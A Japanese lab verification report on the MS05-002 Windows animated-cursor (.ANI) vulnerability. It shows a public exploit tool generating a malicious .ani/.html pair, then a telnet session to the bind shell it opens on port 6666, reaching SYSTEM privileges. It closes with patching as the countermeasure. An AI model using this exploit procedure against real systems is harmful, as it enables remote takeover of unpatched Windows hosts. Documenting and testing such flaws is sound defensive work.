MS05-002:カーソルおよびアイコンのフォーマットの処理の脆弱性により、リモートでコードが実行される

• 2006/02/19　初版
  • Author grin

• カーソルおよびアイコンのフォーマットの処理の脆弱性に対するExploit
• このExploitを使用すると、任意のポートでコマンドシェルをオープンさせることが可能

• Microsoft Windows NT Server 4.0 Service Pack 6a
• Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6
• Microsoft Windows 2000 Service Pack 3 および Microsoft Windows 2000 Service Pack 4
• Microsoft Windows XP Service Pack 1
• Microsoft Windows XP 64-Bit Edition Service Pack 1
• Microsoft Windows XP 64-Bit Edition Version 2003
• Microsoft Windows Server? 2003
• Microsoft Windows Server 2003 64-Bit Edition

• Microsoft Windows XP Service Pack 2

• Microsoft::Microsoft Windows のセキュリティ修正プログラム
• CVE-2004-1049

• Windows2000 Advanced Server SP4 日本語版

• 攻撃元IPアドレス: 192.168.0.3（OS Windows XP SP1）
• 攻撃先IPアドレス: 192.168.0.150（PC名 victim）

• Exploitコードを実行し「.ani」ファイルとそれを呼び出す「.html」ファイルを生成。

C:\tool\exploit\win\ms05002>ms05002.exe ms05002 6666

(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit

        Copyright (c) 2004-2005 .: houseofdabus :.


Tested on all affected systems:
   [+] Windows Server 2003
   [+] Windows XP SP1, SP0
   [+] Windows 2000 All SP

This is provided as proof-of-concept code only for educational purposes and test
ing by authorized individuals with permission to do so.

[*] Creating test.ani file ... Ok
[*] Creating test.html file ... Ok

• ターゲットにHTMLファイルを読み込ませた後、telnetでExploitによりオープンさせたポートへ接続を行う。この検証ではtcp/6666ポートをオープンさせた。

• telnetで攻撃対象のtcp/6666へ接続を行う。

telnet 192.168.0.150 6666
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>hostname
hostname
victim

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter ローカル エリア接続:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.0.150
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

1. MS05-002 パッチの適用 (Windows Update の実施)

ターゲット上でHTMLよりANIファイルを呼び出し攻撃が成立するとターゲット上でコマンドプロンプトがオープンする。 このコマンドプロンプトを閉じるとシェルポートも閉じる。 また、攻撃元のtelnetをexitしても同様にシェルポートが閉じられる。